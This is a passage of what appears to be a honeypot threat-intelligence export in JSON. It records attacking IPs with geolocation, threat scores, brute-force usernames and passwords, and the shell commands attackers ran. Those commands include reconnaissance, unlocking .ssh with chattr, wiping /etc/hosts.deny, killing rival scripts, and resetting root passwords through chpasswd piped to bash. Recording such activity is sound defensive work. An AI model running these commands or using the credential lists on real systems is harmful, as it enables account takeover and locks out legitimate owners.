      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.9,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 308,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T06:55:28.473000+00:00",
        "last_seen_30d": "2026-03-16T02:40:01.160000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 248,
        "Suricata": 60
      }
    },
    "51.75.127.195": {
      "attack_count": 241,
      "first_seen": "2026-03-04T14:16:08.800Z",
      "last_seen": "2026-03-05T07:22:13.875Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456*",
        "1234abcd@",
        "20232023",
        "@Bcd1234",
        "A123123S",
        "A12345661",
        "A1234567AA",
        "AA#2024",
        "ABC!@#123",
        "Abc12345",
        "Bingo@1993",
        "Centos123",
        "Csdx@13579",
        "P@ssw0rd2025",
        "Passw0rd!!",
        "Root=1234",
        "Ubuntu@123",
        "aa!2024"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:Ivwbzun6ZamG\"|chpasswd|bash",
        "echo \"root:pqLQ4axk4crc\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 5.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 300,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T14:16:08.800000+00:00",
        "last_seen_30d": "2026-03-05T07:23:24.107000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 241,
        "Suricata": 59
      }
    },
    "101.32.240.31": {
      "attack_count": 236,
      "first_seen": "2026-03-28T01:02:29.997Z",
      "last_seen": "2026-03-28T02:42:41.927Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345ssdlh",
        "21vianet",
        "@dm1n2025",
        "ABCabc123",
        "Newton1",
        "Pass12345678@",
        "Pass2026!",
        "QWEasd!@#1234",
        "Qwerty2026",
        "Vps@2026",
        "Wb123456",
        "a1b2c3d4",
        "ada",
        "asdf13579",
        "azerty789",
        "cacti2026",
        "oracle8",
        "p@ssw0rd9"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:aUH45CrGYc7I\"|chpasswd|bash",
        "echo \"root:qzgQLqbMNMkg\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 33.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 304,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T01:02:29.997000+00:00",
        "last_seen_30d": "2026-03-28T02:43:43.328000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 68
      }
    },
    "203.116.129.55": {
      "attack_count": 193,
      "first_seen": "2026-03-12T04:48:18.175Z",
      "last_seen": "2026-03-12T05:09:51.442Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "claude",
        "ljj",
        "coolify",
        "crafty",
        "ftp_test",
        "jino",
        "salman",
        "srvadmin",
        "test",
        "ubuntu",
        "xml"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "Salman123!",
        "claude123",
        "ftp_test",
        "jino123!",
        "ljj123",
        "root@123",
        "srvadmin1234",
        "test1",
        "xml"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"claude123\\nY2zy7JwQnggH\\nY2zy7JwQnggH\\n\"|passwd",
        "echo \"ljj123\\na6WXf6Op8eWi\\na6WXf6Op8eWi\\n\"|passwd",
        "echo -e \"claude123\\nY2zy7JwQnggH\\nY2zy7JwQnggH\"|passwd|bash",
        "echo -e \"ljj123\\na6WXf6Op8eWi\\na6WXf6Op8eWi\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 4657,
      "as_org": "StarHub Ltd",
      "threat_score": 13.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 227,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T04:48:18.175000+00:00",
        "last_seen_30d": "2026-03-12T05:10:52.712000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 34
      }
    },
    "121.134.60.125": {
      "attack_count": 191,
      "first_seen": "2026-03-03T11:56:17.279Z",
      "last_seen": "2026-03-03T12:24:29.435Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123qweASDZXC",
        "130590",
        "A1B2C3D4",
        "Asd.123456",
        "Bingo@1993",
        "Dg123456",
        "Q!W@E#r4t5y6",
        "Qazwsx123!@#",
        "Server2024",
        "mypassword",
        "zxc1230."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:BfROgiZXRlZr\"|chpasswd|bash",
        "echo \"root:ivi8H6e9brV0\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Dongjak-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 227,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T11:56:17.279000+00:00",
        "last_seen_30d": "2026-03-03T12:25:38.512000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 191,
        "Suricata": 36
      }
    },
    "154.82.84.134": {
      "attack_count": 191,
      "first_seen": "2026-03-04T21:01:13.088Z",
      "last_seen": "2026-03-04T21:27:11.578Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Admin@123qwe",
        "Bingo@1993",
        "Hu123456",
        "La123456",
        "admin#1234",
        "nima",
        "passwd@123!",
        "password1",
        "prueba123",
        "test@123",
        "vpn123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:EY6ToJbjksiW\"|chpasswd|bash",
        "echo \"root:wQzNOjb55kAi\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 399077,
      "as_org": "Tcloudnet",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 227,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T21:01:13.088000+00:00",
        "last_seen_30d": "2026-03-04T21:28:13.111000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 191,
        "Suricata": 36
      }
    },
    "197.225.146.23": {
      "attack_count": 188,
      "first_seen": "2026-03-05T15:27:48.820Z",
      "last_seen": "2026-03-05T15:58:20.130Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "345gs5662d34",
        "admin",
        "user",
        "root",
        "test"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "A123456798",
        "AAA1234567890",
        "Aa#123456.",
        "Aa1231998",
        "Cc@123456",
        "P@ssword2024!",
        "a1234567",
        "a1234567t",
        "qwerty2025!",
        "ubuntu@123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"AAA1234567890\\nZ9w3oHHwY11u\\nZ9w3oHHwY11u\\n\"|passwd",
        "echo \"P@ssword2024!\\nZoUNRZhlGhPD\\nZoUNRZhlGhPD\\n\"|passwd",
        "echo -e \"AAA1234567890\\nZ9w3oHHwY11u\\nZ9w3oHHwY11u\"|passwd|bash",
        "echo -e \"P@ssword2024!\\nZoUNRZhlGhPD\\nZoUNRZhlGhPD\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Mauritius",
      "country_code": "MU",
      "city": "Rose Hill",
      "asn": 23889,
      "as_org": "MauritiusTelecom",
      "threat_score": 4.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 222,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T15:27:48.820000+00:00",
        "last_seen_30d": "2026-03-05T15:59:24.798000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 34
      }
    },
    "1.238.106.229": {
      "attack_count": 187,
      "first_seen": "2026-03-09T17:24:17.246Z",
      "last_seen": "2026-03-09T17:42:33.854Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "omar",
        "root",
        "ben",
        "elearn",
        "ethan",
        "fox",
        "javier",
        "linode",
        "su",
        "ts3"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "Ethan123!",
        "Welcome2026!",
        "benpass",
        "elearn123",
        "password"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345\\noGD168xDgEHo\\noGD168xDgEHo\\n\"|passwd",
        "echo \"root:4bnRNWtpuQwB\"|chpasswd|bash",
        "echo -e \"12345\\noGD168xDgEHo\\noGD168xDgEHo\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Suwon",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T17:24:17.246000+00:00",
        "last_seen_30d": "2026-03-09T17:43:40.833000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 187,
        "Suricata": 33
      }
    },
    "165.227.53.59": {
      "attack_count": 168,
      "first_seen": "2026-03-30T05:20:03.679Z",
      "last_seen": "2026-03-30T06:25:45.193Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "12348765",
        "123asdfghjkl",
        "3245gs5662d34",
        "345gs5662d34",
        "Abcd@123",
        "Zs@123456",
        "abcdef1",
        "accepted",
        "admin@555",
        "cacatpisat123",
        "debian@2025",
        "foobarbaz",
        "grey",
        "iwakura",
        "matahari",
        "openhab",
        "porsche911",
        "qwe111",
        "reptile",
        "start2026"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:hlIU5hQBi15l\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 35.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T05:20:03.679000+00:00",
        "last_seen_30d": "2026-03-30T06:26:50.375000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "209.74.71.212": {
      "attack_count": 168,
      "first_seen": "2026-03-26T22:26:29.008Z",
      "last_seen": "2026-03-26T23:56:57.395Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "1230..",
        "1234@Qwer",
        "123579",
        "1qAz2wSx",
        "1qazXsw2",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin!@#321",
        "Asdf1234",
        "Ben@123",
        "P4$$WORD",
        "Passwor",
        "Welcome@1",
        "Zxcvbnm1",
        "classof09",
        "coolio1",
        "deneme123",
        "hadoop123",
        "heisenberg",
        "karina123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:0by89T7bkVk8\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 22612,
      "as_org": "Namecheap, Inc.",
      "threat_score": 31.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T22:26:29.008000+00:00",
        "last_seen_30d": "2026-03-26T23:57:58.629000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "80.158.109.51": {
      "attack_count": 163,
      "first_seen": "2026-03-26T08:08:42.745Z",
      "last_seen": "2026-03-26T08:17:44.280Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "edward",
        "mahdi",
        "cody",
        "mehedi",
        "sav"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "12345678",
        "Edward123",
        "Mehedi123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\nKx3aK2mKqfSv\\nKx3aK2mKqfSv\\n\"|passwd",
        "echo \"Edward123\\neQg5A9T4bl0i\\neQg5A9T4bl0i\\n\"|passwd",
        "echo -e \"12345\\nKx3aK2mKqfSv\\nKx3aK2mKqfSv\"|passwd|bash",
        "echo -e \"Edward123\\neQg5A9T4bl0i\\neQg5A9T4bl0i\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 6878,
      "as_org": "T-Systems International GmbH",
      "threat_score": 29.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 183,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T08:08:42.745000+00:00",
        "last_seen_30d": "2026-03-26T08:18:46.005000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 163,
        "Suricata": 20
      }
    },
    "168.167.228.123": {
      "attack_count": 148,
      "first_seen": "2026-03-27T20:09:18.850Z",
      "last_seen": "2026-03-27T21:55:24.604Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "11092025",
        "1q2w3e4r5t123",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa123123123",
        "Jupiter@123",
        "P@$$vords123",
        "Password.2026",
        "Q112233!",
        "Qq111111",
        "Qq123456.",
        "System@1234",
        "a123b456",
        "enter11",
        "heineken",
        "passwordpassword",
        "rzx@1218",
        "terry123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:qQeWM2DXMxKM\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Botswana",
      "country_code": "BW",
      "city": "Gaborone",
      "asn": 14988,
      "as_org": "BTC-GATE1",
      "threat_score": 31.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 200,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T20:09:18.850000+00:00",
        "last_seen_30d": "2026-03-27T21:56:28.139000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 148,
        "Suricata": 52
      }
    },
    "5.255.97.249": {
      "attack_count": 144,
      "first_seen": "2026-03-16T18:16:29.341Z",
      "last_seen": "2026-03-16T18:44:53.692Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "ceph",
        "345gs5662d34",
        "aaron",
        "alberto",
        "antonio",
        "bash",
        "bot",
        "cristian",
        "deluge",
        "dev",
        "f",
        "fox",
        "marketing",
        "mega",
        "root",
        "user13"
      ],
      "passwords_attempted": [
        "123456",
        "12345678",
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "Bot123",
        "Deluge",
        "Marketing123!",
        "Mega",
        "Qwer123456",
        "aaron@123456",
        "cristianpass",
        "fox@123456",
        "fpass",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
